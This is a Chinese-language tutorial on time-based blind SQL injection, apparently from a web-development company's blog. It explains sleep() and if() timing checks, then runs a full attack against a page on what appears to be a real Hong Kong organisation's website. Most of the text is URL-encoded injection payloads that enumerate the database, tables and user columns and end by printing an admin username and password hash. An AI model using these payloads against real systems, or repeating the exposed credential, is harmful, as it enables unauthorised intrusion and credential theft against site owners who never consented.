时间盲注梳理及案例
2026/6/8 8:26:33 网站建设 项目流程

时间盲注

漏洞原理

网页的返回值只有一种,就是true,无论输入任何值,返回情况都会按照正常的来处理,加入特定的时间函数,通过查看web页面返回的时间差来判断注入语句是否执行成功

时间盲注和布尔型盲注类似,时间盲注就是利用时间函数的延迟特性来判断注入

什么情况下使用时间盲注?

该输入框或者交互点存在注入

该页面不会回显注入的语句执行结果,也就是无法使用union注入

对数据库的报错做了处理,无论用户怎么输入都不会显示报错信息,无法使用报错注入

符合盲注特征,但是不属于布尔型盲注

常用函数

sleep(n):将程序挂起一段时间,为n秒

select sleep(3);

当注入条件成立的时候,数据库会执行sleep()延迟函数,从而导致页面的响应时间显著增加;反之条件不成立,则不会执行sleep()函数

if(expr1,expr2,expr3):判断语句,如果第一个语句正确,则执行第二个语句,反之则执行第三个语句

sleep()函数和if()函数结合使用

时间盲注靶场

http://www.uni-1.com.hk/

判断注入点和注入类型

http://www.uni-1.com.hk/training_tc.php?id=13

由前文可知为数字型注入

http://www.uni-1.com.hk/training_tc.php?id=13and sleep(3) --+

网页延迟三秒响应,就可以判断出来存在时间盲注

判断数据库名长度

http://www.uni-1.com.hk/training_tc.php?id=13 and if(length(database())=7,sleep(3),1)--+

二分法,长度为7

判断数据库名

http://www.uni-1.com.hk/training_tc.php?id=13 and if(ascii(mid(database(),2,1))=117,sleep(3),1)--+

爆破得uni1db1

判断表的数量

http://www.uni-1.com.hk/training_tc.php?id=13 and if((select count(table_name) from information_schema.tables where table_schema='uni1db1') = 8 ,sleep(3),1) --+

判断表的长度

http://www.uni-1.com.hk/training_tc.php?id=13 and if(length(substr((select table_name from information_schema.tables where table_schema="uni1db1" limit 0,1),1)) = 8,sleep(3),1) --+

依次可得八个表的长度依次为8 6 7 4 4 12 4 4

判断表的名称

http://www.uni-1.com.hk/training_tc.php?id=13and if(ascii(substr((select table_name from information_schema.tables where table_schema=’uni1db1’ limit 0,1),1,1)) = 99 ,sleep(3),1) --+

burp爆破得到category,course,enquiry,news,page,registration,text,user

肯定看user

判断列的数量

http://www.uni-1.com.hk/training_tc.php?id=13and if((select count(column_name) from information_schema.columns where table_schema='uni1db1' and table_name='user')=6,sleep(3),1) --+

判断列的长度

http://www.uni-1.com.hk/training_tc.php?id=13and if(length(substr((select column_name from information_schema.columns where table_schema='uni1db1' and table_name='user' limit 0,1),1))=7,sleep(3),1) --+

http://www.uni-1.com.hk/training_tc.php?id=13 and if(length(substr((select column_name from information_schema.columns where table_schema='uni1db1' and table_name='user' limit 1,1),1))=5,sleep(3),1) --+

依次可得列长为7 5 8 8 2 10

判断列的名称

http://www.uni-1.com.hk/training_tc.php?id=13and if(ascii(substr((select column_name from information_schema.columns where table_schema='uni1db1' and table_name='user' limit 0,1),1,1))=117,sleep(3),1) --+

burp爆破可得user_id,state,username,password,IP,last_login

判断数据长度

http://www.uni-1.com.hk/training_tc.php?id=13and if(length(substr((select username from user limit 0,1),1))=5 ,sleep(3),1) --+

http://www.uni-1.com.hk/training_tc.php?id=13 and if(length(substr((select password from user limit 0,1),1))=32,sleep(3),1) --+

判断数据的名称

http://www.uni-1.com.hk/training_tc.php?id=13and if(ascii(substr((select username from user limit 0,1),1,1))=97,sleep(3),1) --+

http://www.uni-1.com.hk/training_tc.php?id=13 and if(ascii(substr((select password from user limit 0,1),1,1))=56,sleep(3),1) --+

burp爆破得到admin 80bac55c175d255a520f5112d5e8f07c

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询